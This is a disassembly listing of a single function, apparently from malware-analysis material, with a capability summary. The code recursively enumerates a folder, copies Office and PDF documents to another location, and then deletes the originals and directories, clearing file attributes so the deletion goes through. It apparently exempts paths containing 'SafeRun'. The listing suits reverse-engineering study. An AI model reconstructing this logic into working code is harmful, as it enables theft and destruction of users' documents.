Function at 0x43b2e0
Capabilities:
Copy file
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
sub esp, 0xc8c
mov eax, dword [0x48e050]
xor eax, esp
mov dword [esp + 0xc84], eax
mov eax, dword [esp + 0xc94]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0xca0]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], eax
test edi, edi
je 0x43b606
push edi
call dword [sym.imp.SHLWAPI.dll_PathIsRootW]
test eax, eax
jne 0x43b606
mov eax, edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x43b330
sub eax, edx
sar eax, 1
add eax, 0xfffffffc
cmp eax, 0x2ee
ja 0x43b606
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
push 0x47df94
push edi
lea ecx, [esp + 0x278]
push 0x47903c
push ecx
call ebp
add esp, 0x10
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x43b5ff
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp 0x43b3a0
lea ecx, [esp + 0x4c]
push 0x47dcbc
push ecx
call fcn.0043ec25
add esp, 8
test eax, eax
je 0x43b5dc
lea edx, [esp + 0x4c]
push 0x47dcc0
push edx
call fcn.0043ec25
add esp, 8
test eax, eax
je 0x43b5dc
push str.SafeRun
lea eax, [esp + 0x274]
push eax
call esi
test byte [esp + 0x20], 0x10
jne 0x43b568
test eax, eax
je 0x43b568
lea ecx, [esp + 0x4c]
push ecx
push edi
lea edx, [esp + 0x278]
push 0x47903c
push edx
call ebp
lea eax, [esp + 0x280]
push eax
push str.szBuff___file_name__s
call fcn.00404c20
add esp, 0x18
push str..doc
lea ecx, [esp + 0x274]
push ecx
call esi
test eax, eax
jne 0x43b483
push str..docx
lea edx, [esp + 0x274]
push edx
call esi
test eax, eax
jne 0x43b483
push str..xls
lea eax, [esp + 0x274]
push eax
call esi
test eax, eax
jne 0x43b483
push str..xlsx
lea ecx, [esp + 0x274]
push ecx
call esi
test eax, eax
jne 0x43b483
push str..pdf
lea edx, [esp + 0x274]
push edx
call esi
test eax, eax
je 0x43b52f
push str..lnk
lea eax, [esp + 0x274]
push eax
call esi
test eax, eax
jne 0x43b52f
mov ecx, dword [esp + 0x14]
push 0x104
push ecx
lea edx, [esp + 0xa78]
push 0x10e
push edx
call fcn.0043e9ba
push 0x104
push 0x4576d8
lea eax, [esp + 0xa88]
push 0x10e
push eax
call fcn.0043e4d6
push 0x104
lea ecx, [esp + 0x70]
push ecx
lea edx, [esp + 0xa98]
push 0x10e
push edx
call fcn.0043e4d6
lea eax, [esp + 0xaa0]
push eax
push str.szDest_:__s
call fcn.00404c20
add esp, 0x38
push 0
lea ecx, [esp + 0xa74]
push ecx
lea edx, [esp + 0x278]
push edx
call ebx
test eax, eax
je 0x43b522
push str.bCopy_is_TRUE
jmp 0x43b527
push str.bCopy_is_FALSE
call fcn.00404c20
add esp, 4
lea eax, [esp + 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x43b5dc
push 0x80
lea ecx, [esp + 0x274]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [esp + 0x270]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x43b5dc
lea eax, [esp + 0x4c]
push eax
push edi
lea ecx, [esp + 0x278]
push 0x47903c
push ecx
call ebp
add esp, 0x10
push str.SafeRun
lea edx, [esp + 0x274]
push edx
call esi
test eax, eax
je 0x43b5dc
mov eax, dword [esp + 0x14]
push eax
lea ecx, [esp + 0x274]
push ecx
mov ecx, dword [esp + 0x24]
call fcn.0043b2e0
lea edx, [esp + 0x270]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x43b5dc
push 0x90
lea eax, [esp + 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [esp + 0x270]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x20]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x43b3a0
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [esp + 0xc94]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043e4c7
add esp, 0xc8c
ret 8